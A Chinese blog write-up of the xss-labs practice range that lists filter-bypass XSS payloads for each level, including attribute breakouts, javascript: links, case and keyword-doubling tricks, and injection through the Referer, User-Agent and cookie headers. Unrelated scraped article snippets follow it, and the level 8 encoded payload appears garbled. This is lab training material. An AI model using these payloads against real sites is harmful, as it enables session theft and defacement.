xss-labs靶场通关详解
文章目录
- 前言
- level1
- level2
- level3
- level4
- level5
- level6
- level7
- level8
- level9
- level10
- level11
- level12
- level13
- level14
- level15
- level16
- level17
- level18
- level19&level20
前言
赶着假期结尾的时候,赶紧给自己找点任务做。现在对xss还是一知半解,只是了解个大概,js基础也不牢(
好好好真零基础)。那么只能一步步来,写下这篇博客记录我xss的学习
level1
观察一下,发现参数name的值可以修改
我们试试构造xss漏洞并验证
?name=<script>alert(/xss/)</script>
成功执行

level2
点击确定进入关卡2,页面如下,有一个搜索输入框
输入测试过滤语句
<script " 'Oonn>

发现输入框<script后面的双引号消失了
我们右键查看页面源代码,观察闭合方式
我们这里可以看到,在input的value值前面是有双引号
那么我们怎么样可以插入js代码呢
我们添加">闭合前面的<input的方式来绕过
payload
"><script>alert(/xss/)</script><"
网页执行结果
<input name=keyword value=""><script>alert(/xss/)</script><"">
成功绕过

level3
来到第三关,老样子测试过滤语句
<script " 'Oonn>
发现单引号消失了,右键查看页面源代码
发现闭合方式为单引号,且大小于号和双引号被转义
这里运用事件触发xss
结合上一关,我们修改payload
' onmouseover='alert(/xss/)
网页执行结果
<input name=keyword value='' onmouseover='alert(/xss/)'>
成功绕过

level4
到第四关,先测试语句
发现大于号小于号被转义了,和前一关一样用事件来触发
右键查看源代码,闭合方式为双引号
payload
" onmouseover="alert(/xss/)
成功绕过

level5
还是一样测试语句,右键查看页面源代码
发现script和on开头的两个关键字都被转义,大小于号和引号没有被过滤与转义。同时语句采用双引号闭合方式。
这里我们利用的方法是超链接注入
payload
"><a href="javascript:alert(/xss/)">click me!</a><"
解释:
它创建了一个超链接(
<a>标签)并包含了 JavaScript 代码。在此代码中,href 属性被设置为
javascript:alert(‘xss’),这意味着当用户点击该链接时,将执行 JavaScript 代码 alert(‘xss’)。
搜索后再点击我们的超链接,即可绕过

level6
这关输入测试语句后,访问页面源代码
发现在script被转义

这里用的是大小写绕过
payload
"><SCript>alert(/xss/)</SCript>"<
成功绕过

level7
输入测试语句,查看页面源代码
发现script被过滤,第一个On也被过滤了(眼尖实锤)
结合第四关的绕过方式
我们稍作修改,payload
" oonnmouseover="alert(/xss/)
注:oonn是为了绕过检测
成功绕过

level8
这一关就不像前面的回显输入结果,我们只能右键查看源代码
发现大小于号和双引号被转义但是参数被传递到a标签的herf属性中,大小于号被转义回来,双引号还是被转义着、关键字被插入下划线,单引号没事。
对此,我们考虑注入href的伪协议
构造参数为 javascript:alert(/xss/),上传发现还是被添加下划线

那么我们只能对上传参数进行部分编码
这里用的是html实体编码,我采用的是十六进制的
payload
javascript:alert(/xss/)
解释:
javascript 是一个将 JavaScript 字符串 javascript 中的字符 ‘s’ 使用实体编码表示的方式。在这个编码中,c 表示字符 ‘c’ 的 Unicode 码点。
成功绕过

level9
还是输入测试代码,点击友情链接
发现大小于号和双引号被转义了,且链接不合法
猜测需要有http://字符串出现
修改上一关的payload
javascript:alert('http://')
成功绕过

level10
上传测试语句,发现没有变化,查看源代码
发现大小于号和双引号被转义了,同时出现三个未知参数

我们试试传入
?t_sort=<script " 'Oonn>
然后再右键查看源代码
发现只是过滤了大小于号(这个我们可以用事件触发)
payload
?t_sort=click me!" type="button" onmouseover="alert(/xss/)
页面执行结果
<input name="t_sort" value="click me!" type="button" onmouseover="alert(/xss/)" type="hidden">

level11
这一关和上一关差不多,但是出现的四个参数只有t_sort有回显
仔细往下看问题就出现了,这样我们需要用双引号进行闭合但是双引号被转义。尝试过对大小于号、双引号进行编码以求绕过,发现还是不行。
那么我们转换下思路,其他三个参数没有回显,说不定不是通过url地址传递的,可能是http请求的某部分
尝试在Referer添加测试语句
发现成功绕过,并且没有出现过滤的信息

payload
referer:click me!" type="button" onmouseover="alert(/xss/)

level12
上传测试语句,还是被转义
观察到参数t_ua的值为User Agent,找到可以利用的点
用HackBar传参测试语句
发现只有大小于号被转义

所以我们像上题直接事件触发
payload
User Agent:click me!" type="button" onmouseover="alert(/xss/)

level13
右键源代码,发现还是有四个未知参数
我们查看网络,发现cookie值有线索

猜测应该是cookie值传参user实现构造xss漏洞
我们试试测试语句

发现还是大小于号被转义

payload
user=click me!" type="button" onmouseover="alert(/xss/)

level14
跟exif有关,略
level15
题目源码
<html ng-app>
<head><meta charset="utf-8"><script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
分析一下,这里htmlspecialchars() 函数会把预定义的字符转换为 HTML 实体,其中就包括大小于号,然后还发现ng-include(其作用相当于php的include函数)
htmlspecialchars() 函数
把一些预定义的字符转换为 HTML 实体
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
ng-include
ng-include指令一般用于包含外部的 HTML文件,ng-include属性的值可以是一个表达式,返回一个文件名,但是默认情况下,包含的文件需要包含在同一个域名下。很有可能这个指令就是突破口,所以我们可以包含一个有漏洞的页面
特别值得注意的几点如下:
- ng-include,如果单纯指定地址,必须要加引号
- ng-include,加载外部html,script标签中的内容不执行
- ng-include,加载外部html中含有style标签样式可以识别
所以payload为
?src='level1.php?name=<a href="javascript:alert(/xss/)">'
注:利用第一关的xss漏洞

level16
源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>
分析一下,对我们上传的值进行替换
发现空格、反斜杠、script均被替换为空格,因此考虑用%0A绕过空格
payload
?keyword=<img%0asrc="1.jpg"%0aonerror=alert(1)>
注:onerror作用为加载图片失败后会触发

level17
源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>
我们提交的参数在<embed>标签的src属性中,这一关有两个参数:arg01、arg02,当我们发送的时候,发现他们是会互相拼接起来的,并且做了尖括号过滤,那么我们可以加入一个属性进去,生成恶意代码。<embed>标签就是引入一个swf文件【SWF格式是动画软件Flash的专用格式】到浏览器端,并且它的src属性值不需要闭合
payload
?arg01= onclick&arg02=alert('xss')
这里由于电脑配置问题,swf文件显示不出来
level18
与上一关方法相同
level19&level20
这两关涉及flash xss
常见的可触发xss的危险函数有:
getURL navigateToURL ExternalInterface.call htmlText loadMovie等
要想知道这一关的是不是属于flash xss,只需要对引用的swf文件,进行反编译然后进行源码分析。反编译的工具是jpexs-decompiler
项目地址
相关文章:
xss-labs靶场通关详解
文章目录 前言level1level2level3level4level5level6level7level8level9level10level11level12level13level14level15level16level17level18level19&level20 前言 赶着假期结尾的时候,赶紧给自己找点任务做。现在对xss还是一知半解,只是了解个大概&a…...
关于类和接口
类和接口的区别,去除语法层面,谈谈编程层面的意义。 设计原则SOLID: S:单一职责(SRP),Single Responsibility Principle O:开-闭原则(OCP),Open-Closed Principle L:里氏替换(LSP)&…...
网络安全社区与资源分享: 推荐网络安全社区、论坛、博客、培训资源等,帮助从业者拓展人脉和知识。
第一章:引言 在当今数字化的世界中,网络安全问题变得愈发突出。随着各种新型威胁的涌现,网络安全从业者面临着持续不断的挑战。然而,正是因为这些挑战,网络安全社区应运而生,成为从业者们互相交流、学习和…...
SAP MM学习笔记26- SAP中 振替转记(转移过账)和 在库转送(库存转储)5 - 总结
SAP 中在库移动 不仅有入库(GR),出库(GI),也可以是单纯内部的转记或转送。 1,振替转记(转移过账) 具体查看我之前的文章。 SAP MM学习笔记26- SAP中 振替转记ÿ…...
Stable Diffusion WebUI提示词Prompts常用推荐
在Stable Diffusion(以下简称SD)中,提示词是很重要的一部分,写好提示词就能让画图事半功倍,下面介绍一款好用的工具,能很程度上让你更轻松。 他就是sd-webui-prompt-all-in-one 下面将详细介绍的安装以及使用,后面将详细讲解提示词(Prompt)应该如何写提示词才能使画…...
Android 13 Ethernet变更
Android13 有线变更 以太网相关的功能在Android12 和13 网络部分变化是不大的,Android11 到Android 12 网络部分无论是代码存放目录和代码逻辑都是有较多修改的,主要包括以下几个部分 限制了设置有线网参数设置接口方法 新增有线网开启关闭接口方法 新…...
基于单片机的超声波语音测距系统
一、系统方案 超声波具有指向性强,能量消耗缓慢,在介质中传播的距离较远,因而超声波经常用于距离的测量,如测距仪和物位测量仪等都可以通过超声波来实现。利用超声波检测往往比较迅速、方便、计算简单、易于做到实时控制ÿ…...
算法系列-力扣876-求链表的中间节点
# 求链表中间节点,如果有两个中间节点取后面那个 链表定义 // lc codestart /** * Definition for singly-linked list. * public class ListNode { * int val; * ListNode next; * ListNode() {} * ListNode(int val) { this.val val; } * …...
SpringBoot集成Redis、Redisson保姆教程【附源码】
1. SpringBoot集成Redis 关于Redis的安装,这里就不重复介绍了,需要的朋友可以看我之前的博文Redis多系统安装(Windows、Linux、Ubuntu) Redis原生命令大全,作者整理的很详细,大部分命令转化为java命令基本也是关键词 Redis 命令参考 接下来开始我们的正题,一起学习下…...
c++多线程中常用的使用方法
1)promise(保证)和future的联合使用,实现两个线程的数据传递 #include <iostream> #include<thread> #include<future>using namespace std;//promise用法:可以给线程一个值,而从另一个线程读出该值 // 实现了两个线程的数…...
【dart】dart基础学习使用(一):变量、操作符、注释和库操作
前言 学习dart语言。 注释 Dart 支持单行注释、多行注释和文档注释。 单行注释 单行注释以 // 开头。Dart 编译器将忽略从 // 到行尾之间的所有内容。 void main() {// 这是单行注释print(Welcome to my Llama farm!); }多行注释 多行注释以 /* 开始,以 / 结…...
element-plus 设置 el-date-picker 弹出框位置
前言 概述:el-date-picker 组件会自动根据空间范围进行选择比较好的弹出位置,但特定情况下,它自动计算出的弹出位置并不符合我们的实际需求,故需要我们手动设置。 存在的问题:element-plus 中 el-date-picker 文档中并…...
C++day7(auto关键字、lambda表达式、C++中的数据类型转换、C++标准模板库(STL)、list、文件操作)
一、Xmind整理: 关键词总结: 二、上课笔记整理: 1.auto关键字 #include <iostream>using namespace std;int fun(int a, int b, float *c, char d, double *e,int f) {return 12; }int main() {//定义一个函数指针,指向fu…...
纽扣电池/锂电池UN38.3安全检测报告
根据规章要求,航空公司和机场货物收运部门应对锂电池进行运输文件审查,重要的是每种型号的锂电池UN38.3安全检测报告。该报告可由的三方检测机构。如不能提供此项检测报告,将禁止锂电池进行航空运输. UN38.3包含产品:1、 锂电池2…...
K8S:K8S自动化运维容器Docker集群
文章目录 一.k8s概述1.k8s是什么2.为什么要用K8S3.作用及功能4.k8s容器集群管理系统 二.K8S的特性1.弹性伸缩2.自我修复3.服务发现和复制均衡4.自动发布和回滚5.集中化配置管理和秘钥管理6.存储编排7.任务批量处理运行 三.K8S的集群架构四.K8S的核心组件1.Master组件࿰…...
Java的guava 限流写法
第一步先引入 maven <dependency> <groupId>com.google.guava</groupId> <artifactId>guava</artifactId> <version>32.0.1-jre</version> </dependency> 然后上方法 private final double rateLimiter10 1.0 / 10.0; // 每…...
[uniapp] scroll-view 简单实现 u-tabbar效果
文章目录 方案踩坑1.scroll-view 横向失败2.点击item不滚动?3. scrollLeft从哪里来? 效果图 方案 官方scroll-view 进行封装 配合属性 scroll-left Number/String 设置横向滚动条位置 即可 scroll-into-view 属性尝试过,方案较难实现 踩坑 1.scroll-view 横向失败 安装…...
vue常见问题汇总
来源:https://www.fly63.com/ Q1:安装超时(install timeout) 方案有这么些: cnpm : 国内对npm的镜像版本/*cnpm website: https://npm.taobao.org/*/npm install -g cnpm --registryhttps://registry.npm.taobao.org// cnpm 的大多命令跟 npm 的是一致的…...
GPT-3在化学中进行低数据发现是否足够?
今天介绍一份洛桑联邦理工学院进行的工作,这份工作被发表在化学期刊预印本网站上。 对于这份工作,有兴趣的朋友可以通过我们的国内ChatGPT镜像站进行测试使用,我们的站点并没有针对特定任务进行建设,是通用性质的。 化学领域进行…...
gitlab升级
1.下载需要的版本 wget -c https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7/gitlab-ce-15.7.6-ce.0.el7.x86_64.rpm --no-check-certificate gitlab-ce-15.4.6-ce.0.el7.x86_64.rpm gitlab-ce-15.7.6-ce.0.el7.x86_64.rpm gitlab-ce-15.9.7-ce.0.el7.x86_64.rpm g…...
Cursor实现用excel数据填充word模版的方法
cursor主页:https://www.cursor.com/ 任务目标:把excel格式的数据里的单元格,按照某一个固定模版填充到word中 文章目录 注意事项逐步生成程序1. 确定格式2. 调试程序 注意事项 直接给一个excel文件和最终呈现的word文件的示例,…...
TDengine 快速体验(Docker 镜像方式)
简介 TDengine 可以通过安装包、Docker 镜像 及云服务快速体验 TDengine 的功能,本节首先介绍如何通过 Docker 快速体验 TDengine,然后介绍如何在 Docker 环境下体验 TDengine 的写入和查询功能。如果你不熟悉 Docker,请使用 安装包的方式快…...
CVPR 2025 MIMO: 支持视觉指代和像素grounding 的医学视觉语言模型
CVPR 2025 | MIMO:支持视觉指代和像素对齐的医学视觉语言模型 论文信息 标题:MIMO: A medical vision language model with visual referring multimodal input and pixel grounding multimodal output作者:Yanyuan Chen, Dexuan Xu, Yu Hu…...
P3 QT项目----记事本(3.8)
3.8 记事本项目总结 项目源码 1.main.cpp #include "widget.h" #include <QApplication> int main(int argc, char *argv[]) {QApplication a(argc, argv);Widget w;w.show();return a.exec(); } 2.widget.cpp #include "widget.h" #include &q…...
【算法训练营Day07】字符串part1
文章目录 反转字符串反转字符串II替换数字 反转字符串 题目链接:344. 反转字符串 双指针法,两个指针的元素直接调转即可 class Solution {public void reverseString(char[] s) {int head 0;int end s.length - 1;while(head < end) {char temp …...
跨链模式:多链互操作架构与性能扩展方案
跨链模式:多链互操作架构与性能扩展方案 ——构建下一代区块链互联网的技术基石 一、跨链架构的核心范式演进 1. 分层协议栈:模块化解耦设计 现代跨链系统采用分层协议栈实现灵活扩展(H2Cross架构): 适配层…...
推荐 github 项目:GeminiImageApp(图片生成方向,可以做一定的素材)
推荐 github 项目:GeminiImageApp(图片生成方向,可以做一定的素材) 这个项目能干嘛? 使用 gemini 2.0 的 api 和 google 其他的 api 来做衍生处理 简化和优化了文生图和图生图的行为(我的最主要) 并且有一些目标检测和切割(我用不到) 视频和 imagefx 因为没 a…...
MySQL 部分重点知识篇
一、数据库对象 1. 主键 定义 :主键是用于唯一标识表中每一行记录的字段或字段组合。它具有唯一性和非空性特点。 作用 :确保数据的完整性,便于数据的查询和管理。 示例 :在学生信息表中,学号可以作为主键ÿ…...
前端中slice和splic的区别
1. slice slice 用于从数组中提取一部分元素,返回一个新的数组。 特点: 不修改原数组:slice 不会改变原数组,而是返回一个新的数组。提取数组的部分:slice 会根据指定的开始索引和结束索引提取数组的一部分。不包含…...
【深度学习新浪潮】什么是credit assignment problem?
Credit Assignment Problem(信用分配问题) 是机器学习,尤其是强化学习(RL)中的核心挑战之一,指的是如何将最终的奖励或惩罚准确地分配给导致该结果的各个中间动作或决策。在序列决策任务中,智能体执行一系列动作后获得一个最终奖励,但每个动作对最终结果的贡献程度往往…...
